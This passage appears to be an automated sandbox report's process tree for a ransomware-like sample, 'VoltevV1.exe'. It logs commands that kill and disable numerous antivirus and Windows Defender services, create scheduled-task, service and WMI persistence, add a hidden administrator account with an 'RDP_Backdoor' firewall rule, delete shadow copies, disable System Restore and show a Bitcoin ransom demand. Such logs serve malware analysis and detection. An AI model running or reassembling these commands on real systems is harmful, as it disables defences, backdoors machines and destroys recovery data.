    PID:4788
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AvastUI.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4284
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "avast! Antivirus"
    3⤵
    PID:6260
- - C:\Windows\SYSTEM32\sc.exe
    sc config "avast! Antivirus" start= disabled
    3⤵
    PID:2612
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avgnt.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6976
- - C:\Windows\SYSTEM32\sc.exe
    sc stop Avira.ServiceHost
    3⤵
    PID:1512
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avgnt.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5884
- - C:\Windows\SYSTEM32\sc.exe
    sc config Avira.ServiceHost start= disabled
    3⤵
    PID:7000
- - C:\Windows\SYSTEM32\sc.exe
    sc stop Avira.Scheduler
    3⤵
    PID:796
- - C:\Windows\SYSTEM32\sc.exe
    sc config Avira.Scheduler start= disabled
    3⤵
    PID:6328
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avguard.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5532
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avguard.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:736
- - C:\Windows\SYSTEM32\sc.exe
    sc stop Avira.Updater
    3⤵
    PID:6076
- - C:\Windows\SYSTEM32\sc.exe
    sc config Avira.Updater start= disabled
    3⤵
    PID:3428
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avscan.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2316
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avscan.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- - C:\Windows\SYSTEM32\sc.exe
    sc stop BdDesktopParental
    3⤵
    PID:3836
- - C:\Windows\SYSTEM32\sc.exe
    sc config BdDesktopParental start= disabled
    3⤵
    - Launches sc.exe
    PID:2044
- - C:\Windows\SYSTEM32\sc.exe
    sc stop VSSERV
    3⤵
    - Launches sc.exe
    PID:5016
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im bdagent.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4836
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im bdagent.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1076
- - C:\Windows\SYSTEM32\sc.exe
    sc config VSSERV start= disabled
    3⤵
    PID:5948
- - C:\Windows\SYSTEM32\sc.exe
    sc stop BDUpdCtrl
    3⤵
    PID:4284
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im vsserv.exe
    3⤵
    - Kills process with taskkill
    PID:972
- - C:\Windows\SYSTEM32\sc.exe
    sc config BDUpdCtrl start= disabled
    3⤵
    PID:1112
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im vsserv.exe
    3⤵
    - Kills process with taskkill
    PID:2824
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "ESET Service"
    3⤵
    PID:1184
- - C:\Windows\SYSTEM32\sc.exe
    sc config "ESET Service" start= disabled
    3⤵
    PID:5844
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im egui.exe
    3⤵
    PID:5820
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im egui.exe
    3⤵
    PID:5536
- - C:\Windows\SYSTEM32\sc.exe
    sc stop ekrn
    3⤵
    - Launches sc.exe
    PID:4968
- - C:\Windows\SYSTEM32\sc.exe
    sc config ekrn start= disabled
    3⤵
    PID:5944
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3836
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im ekrn.exe
    3⤵
    PID:1356
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "ESET Firewall Helper"
    3⤵
    - Launches sc.exe
    PID:2352
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im ekrn.exe
    3⤵
    PID:1092
- - C:\Windows\SYSTEM32\sc.exe
    sc config "ESET Firewall Helper" start= disabled
    3⤵
    PID:3400
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6588
- - C:\Windows\SYSTEM32\sc.exe
    sc stop AVP
    3⤵
    PID:2592
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im kav.exe
    3⤵
    PID:3368
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im kav.exe
    3⤵
    PID:4148
- - C:\Windows\SYSTEM32\sc.exe
    sc config AVP start= disabled
    3⤵
    PID:2968
- - C:\Windows\SYSTEM32\sc.exe
    sc stop klnagent
    3⤵
    PID:1912
- - C:\Windows\SYSTEM32\sc.exe
    sc config klnagent start= disabled
    3⤵
    PID:1312
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im kavtray.exe
    3⤵
    PID:3888
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im kavtray.exe
    3⤵
    PID:6664
- - C:\Windows\SYSTEM32\sc.exe
    sc stop KAVFS
    3⤵
    - Launches sc.exe
    PID:2796
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5420
- - C:\Windows\SYSTEM32\sc.exe
    sc config KAVFS start= disabled
    3⤵
    PID:5400
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2516
- - C:\Windows\SYSTEM32\sc.exe
    sc stop McAfeeFramework
    3⤵
    PID:4876
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avp.exe
    3⤵
    PID:892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avp.exe
    3⤵
    PID:2092
- - C:\Windows\SYSTEM32\sc.exe
    sc config McAfeeFramework start= disabled
    3⤵
    PID:6508
- - C:\Windows\SYSTEM32\sc.exe
    sc stop McShield
    3⤵
    PID:2336
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mcshield.exe
    3⤵
    PID:5424
- - C:\Windows\SYSTEM32\sc.exe
    sc config McShield start= disabled
    3⤵
    PID:2568
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mcshield.exe
    3⤵
    PID:3804
- - C:\Windows\SYSTEM32\sc.exe
    sc stop McTaskManager
    3⤵
    PID:7072
- - C:\Windows\SYSTEM32\sc.exe
    sc config McTaskManager start= disabled
    3⤵
    - Launches sc.exe
    PID:1484
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mcuicnt.exe
    3⤵
    PID:5732
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Norton Security"
    3⤵
    PID:2476
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Norton Security" start= disabled
    3⤵
    PID:3176
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mcuicnt.exe
    3⤵
    PID:1368
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im NortonSecurity.exe
    3⤵
    PID:2496
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Norton Antivirus"
    3⤵
    - Launches sc.exe
    PID:6692
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Norton Antivirus" start= disabled
    3⤵
    PID:3860
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im NortonSecurity.exe
    3⤵
    PID:3564
- - C:\Windows\SYSTEM32\sc.exe
    sc stop nsWscSvc
    3⤵
    - Launches sc.exe
    PID:2616
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im nsWscSvc.exe
    3⤵
    PID:7044
- - C:\Windows\SYSTEM32\sc.exe
    sc config nsWscSvc start= disabled
    3⤵
    PID:1356
- - C:\Windows\SYSTEM32\sc.exe
    sc stop SavService
    3⤵
    PID:4056
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im nsWscSvc.exe
    3⤵
    PID:5388
- - C:\Windows\SYSTEM32\sc.exe
    sc config SavService start= disabled
    3⤵
    PID:2876
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2656
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im SavService.exe
    3⤵
    - Kills process with taskkill
    PID:4832
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Sophos Agent"
    3⤵
    PID:3396
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Sophos Agent" start= disabled
    3⤵
    PID:792
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im SavService.exe
    3⤵
    PID:4352
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:884
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Sophos AutoUpdate"
    3⤵
    PID:7160
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im SophosUI.exe
    3⤵
    - Kills process with taskkill
    PID:5828
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Sophos AutoUpdate" start= disabled
    3⤵
    PID:4752
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im SophosUI.exe
    3⤵
    PID:6320
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Trend Micro Client"
    3⤵
    PID:1368
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1688
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im "Trend Micro"
    3⤵
    PID:3336
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Trend Micro Client" start= disabled
    3⤵
    PID:2320
- - C:\Windows\SYSTEM32\sc.exe
    sc stop TmCCSF
    3⤵
    PID:1968
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im "Trend Micro"
    3⤵
    - Kills process with taskkill
    PID:5932
- - C:\Windows\SYSTEM32\sc.exe
    sc config TmCCSF start= disabled
    3⤵
    PID:4056
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1748
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im TmPfw.exe
    3⤵
    - Kills process with taskkill
    PID:1920
- - C:\Windows\SYSTEM32\sc.exe
    sc stop TmPfw
    3⤵
    - Launches sc.exe
    PID:6592
- - C:\Windows\SYSTEM32\sc.exe
    sc config TmPfw start= disabled
    3⤵
    PID:3800
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im TmPfw.exe
    3⤵
    PID:4780
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "AVG Antivirus"
    3⤵
    PID:3920
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im TmProxy.exe
    3⤵
    PID:5608
- - C:\Windows\SYSTEM32\sc.exe
    sc config "AVG Antivirus" start= disabled
    3⤵
    PID:2816
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "AVG Firewall"
    3⤵
    PID:6876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6148
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im TmProxy.exe
    3⤵
    - Kills process with taskkill
    PID:6508
- - C:\Windows\SYSTEM32\sc.exe
    sc config "AVG Firewall" start= disabled
    3⤵
    - Launches sc.exe
    PID:2596
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AVGUI.exe
    3⤵
    PID:1160
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3860
- - C:\Windows\SYSTEM32\sc.exe
    sc stop AVGIDSAgent
    3⤵
    PID:6688
- - C:\Windows\SYSTEM32\sc.exe
    sc config AVGIDSAgent start= disabled
    3⤵
    PID:5776
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AVGUI.exe
    3⤵
    PID:5164
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2876
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Webroot SecureAnywhere"
    3⤵
    - Launches sc.exe
    PID:6628
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AVGSvc.exe
    3⤵
    PID:2112
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1288
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Webroot SecureAnywhere" start= disabled
    3⤵
    - Launches sc.exe
    PID:7104
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WRConsumerService
    3⤵
    PID:4728
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wrsa.exe
    3⤵
    PID:2684
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AVGSvc.exe
    3⤵
    PID:4424
- - C:\Windows\SYSTEM32\sc.exe
    sc config WRConsumerService start= disabled
    3⤵
    PID:792
- - C:\Windows\SYSTEM32\sc.exe
    sc stop MpsSvc
    3⤵
    - Launches sc.exe
    PID:4596
- - C:\Windows\SYSTEM32\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    PID:7160
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wrsa.exe
    3⤵
    - Kills process with taskkill
    PID:5608
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im WRSA.exe
    3⤵
    PID:6692
- - C:\Windows\SYSTEM32\sc.exe
    sc stop Sense
    3⤵
    PID:5816
- - C:\Windows\SYSTEM32\sc.exe
    sc config Sense start= disabled
    3⤵
    PID:7128
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdFilter
    3⤵
    PID:1912
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im WRSA.exe
    3⤵
    PID:6044
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msmpeng.exe
    3⤵
    PID:2932
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1312
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdFilter start= disabled
    3⤵
    PID:5012
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5928
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdNisDrv
    3⤵
    PID:5424
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3548
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msmpeng.exe
    3⤵
    PID:1604
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6208
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mssense.exe
    3⤵
    PID:5416
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdNisDrv start= disabled
    3⤵
    - Launches sc.exe
    PID:6708
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:2328
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    PID:352
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mssense.exe
    3⤵
    PID:252
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WinDefend
    3⤵
    PID:4508
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MSASCuiL.exe
    3⤵
    PID:6368
- - C:\Windows\SYSTEM32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    PID:5552
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5384
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MSASCuiL.exe
    3⤵
    - Kills process with taskkill
    PID:6260
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6540
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:4840
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MRT.exe
    3⤵
    PID:5392
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    PID:4788
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MRT.exe
    3⤵
    PID:3844
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mrt.exe
    3⤵
    PID:6528
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MRT-KB890830.exe
    3⤵
    PID:7128
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mrt.exe
    3⤵
    - Kills process with taskkill
    PID:1404
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MRT-KB890830.exe
    3⤵
    - Kills process with taskkill
    PID:700
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6336
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6580
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:1372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:1652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6660

C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe
"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe" "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe
  "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe" "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"
  2⤵
  - Disables RegEdit via registry modification
  - Drops startup file
  - Loads dropped DLL
  - Modifies visibility of existing users in the login screen
  - Adds Run key to start application
  - Modifies WinLogon
  - Suspicious use of WriteProcessMemory
  PID:5976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "command /c ver"
    3⤵
    PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd /c ver"
    3⤵
    PID:1480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "C9WDEk3Ysnb5Q" /tr "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" /sc onlogon /rl highest /f"
    3⤵
    PID:1228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user FYjf7vBV7c52 HzmSe44Exgw4A2M /add /y"
    3⤵
    PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh advfirewall firewall add rule name="RDP_Backdoor" dir=in action=allow protocol=TCP localport=3389"
    3⤵
    PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="idd081T03wzX", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"""
    3⤵
    PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo Recovery file: C:\Users\Admin\Desktop\VOLTEV_RECOVERY.txt && echo Total encrypted: 1 && echo Send 0.5 BTC to bc1qdadkua9ytqmkkaa2hfu8qg0hl0wa0hcxn9emx4 && pause"
    3⤵
    PID:1940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create vAUPqTC06UT8B7 binPath= "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" start= auto"
    3⤵
    PID:6744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup administrators FYjf7vBV7c52 /add"
    3⤵
    PID:7164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="5lRmWrsrbRVX", ExecutablePath="C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe", CommandLineTemplate=""C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe" "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"""
    3⤵
    PID:3900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc description vAUPqTC06UT8B7 "System Service""
    3⤵
    PID:3064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"idd081T03wzX\"", Consumer="CommandLineEventConsumer.Name=\"5lRmWrsrbRVX\""
    3⤵
    PID:1064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic shadowcopy delete /nointeractive"
    3⤵
    PID:5504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
    3⤵
    PID:2440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    PID:2492
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3516
- - C:\Windows\System32\sc.exe
    sc stop WinDefend
    3⤵
    PID:6016
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6588
- - C:\Windows\System32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    PID:1280
- - C:\Windows\System32\sc.exe
    sc stop WdNisSvc
    3⤵
    PID:1228
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6404
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5984
- - C:\Windows\System32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    PID:6984
- - C:\Windows\System32\sc.exe
    sc stop SecurityHealthService
    3⤵
    PID:3020
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7164
- - C:\Windows\System32\sc.exe
    sc config SecurityHealthService start= disabled
    3⤵
    - Launches sc.exe
    PID:6428
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MpCmdRun.exe
    3⤵
    PID:3852
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MpCmdRun.exe
    3⤵
    PID:3952
- - C:\Windows\System32\sc.exe
    sc stop wscsvc
    3⤵
    PID:6416
- - C:\Windows\System32\sc.exe
    sc config wscsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:7068
- - C:\Windows\System32\sc.exe
    sc stop AvastSvc
    3⤵
    PID:5500
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastSvc.exe
    3⤵
    - Kills process with taskkill
    PID:1272
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastSvc.exe
    3⤵
    - Kills process with taskkill
    PID:1848
- - C:\Windows\System32\sc.exe
    sc config AvastSvc start= disabled
    3⤵
    PID:2516
- - C:\Windows\System32\sc.exe
    sc stop "AVG Antivirus"
    3⤵
    PID:2080
- - C:\Windows\System32\sc.exe
    sc config "AVG Antivirus" start= disabled
    3⤵
    PID:6192
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastUI.exe
    3⤵
    - Kills process with taskkill
    PID:6160
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1676
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastUI.exe
    3⤵
    PID:6700
- - C:\Windows\System32\sc.exe
    sc stop "avast! Antivirus"
    3⤵
    PID:2112
- - C:\Windows\System32\sc.exe
    sc config "avast! Antivirus" start= disabled
    3⤵
    PID:5388
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avgnt.exe
    3⤵
    PID:6428
- - C:\Windows\System32\sc.exe
    sc stop Avira.ServiceHost
    3⤵
    PID:7052
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avgnt.exe
    3⤵
    PID:5264
- - C:\Windows\System32\sc.exe
    sc config Avira.ServiceHost start= disabled
    3⤵
    PID:4468
- - C:\Windows\System32\sc.exe
    sc stop Avira.Scheduler
    3⤵
    - Launches sc.exe
    PID:2416
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6496
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avguard.exe
    3⤵
    PID:5492
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avguard.exe
    3⤵
    PID:3548
- - C:\Windows\System32\sc.exe
    sc config Avira.Scheduler start= disabled
    3⤵
    - Launches sc.exe
    PID:1724
- - C:\Windows\System32\sc.exe
    sc stop Avira.Updater
    3⤵
    PID:1480
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avscan.exe
    3⤵
    PID:4428
- - C:\Windows\System32\sc.exe
    sc config Avira.Updater start= disabled
    3⤵
    PID:6156
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avscan.exe
    3⤵
    - Kills process with taskkill
    PID:6192
- - C:\Windows\System32\sc.exe
    sc stop BdDesktopParental
    3⤵
    - Launches sc.exe
    PID:4820
- - C:\Windows\System32\sc.exe
    sc config BdDesktopParental start= disabled
    3⤵
    PID:4056
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im bdagent.exe
    3⤵
    PID:7012
- - C:\Windows\System32\sc.exe
    sc stop VSSERV
    3⤵
    PID:5724
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1940
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im bdagent.exe
    3⤵
    - Kills process with taskkill
    PID:884
- - C:\Windows\System32\sc.exe
    sc config VSSERV start= disabled
    3⤵
    PID:4848
- - C:\Windows\System32\sc.exe
    sc stop BDUpdCtrl
    3⤵
    PID:3264
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im vsserv.exe
    3⤵
    - Kills process with taskkill
    PID:5552
- - C:\Windows\System32\sc.exe
    sc config BDUpdCtrl start= disabled
    3⤵
    PID:5156
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im vsserv.exe
    3⤵
    - Kills process with taskkill
    PID:7100
- - C:\Windows\System32\sc.exe
    sc stop "ESET Service"
    3⤵
    PID:5804
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1616
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im egui.exe
    3⤵
    PID:6616
- - C:\Windows\System32\sc.exe
    sc config "ESET Service" start= disabled
    3⤵
    - Launches sc.exe
